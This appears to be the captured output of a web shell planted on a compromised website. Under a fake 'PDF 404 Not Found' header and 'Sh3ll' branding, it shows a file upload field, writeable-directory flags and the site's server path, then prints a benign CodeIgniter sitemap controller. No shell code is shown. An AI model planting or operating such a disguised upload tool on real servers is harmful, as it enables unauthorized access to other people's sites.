%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/web/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/web/app/Controllers/Sitemap.php
<?php
namespace App\Controllers;

use App\Models\Sitemap_Model;

class Sitemap extends BaseController
{
    protected $Sitemap_Model;

    public function __construct()
    {

        $this->Sitemap_Model = new Sitemap_Model();
    }

    public function index()
    {
        $post = $this->Sitemap_Model->create();

        $data = [
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_menu', $data));

        return $response;
    }
    public function artikel()
    {
        $post = $this->Sitemap_Model->artikel();

        $data = [
            'url_data' => 'detail/artikel/',
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_2', $data));

        return $response;
    }
    public function produk()
    {
        $post = $this->Sitemap_Model->produk();

        $data = [
            'url_data' => 'detail/produk/',
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_2', $data));

        return $response;
    }
    public function video()
    {
        $post = $this->Sitemap_Model->video();

        $data = [
            'url_data' => 'detail/video/',
            'post' => $post
        ];
        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_2', $data));

        return $response;
    }

    /////////////////////////// gambar /////////////////////////////////
    public function gambarArtikel()
    {
        $post = $this->Sitemap_Model->artikel();

        $data = [
            'url_data' => base_url(),
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_gambar', $data));

        return $response;
    }
    public function gambarProduk()
    {
        $post = $this->Sitemap_Model->produk();

        $data = [
            'url_data' => base_url(),
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_gambar', $data));

        return $response;
    }
    public function gambarVideo()
    {
        $post = $this->Sitemap_Model->video();

        $data = [
            'url_data' => base_url(),
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_gambar', $data));

        return $response;
    }
    ///////////////////////////////////////////////////////////////////////////////
    public function fileVideo()
    {
        $post = $this->Sitemap_Model->video();

        $data = [
            'url_data' => base_url(),
            'post' => $post
        ];

        $response = $this->response->setHeader('Content-Type', 'text/xml');
        $response->setBody(view('theme/spirit/sistem/_sitemap_view_video', $data));

        return $response;
    }
}

WonXd677 Sh3LL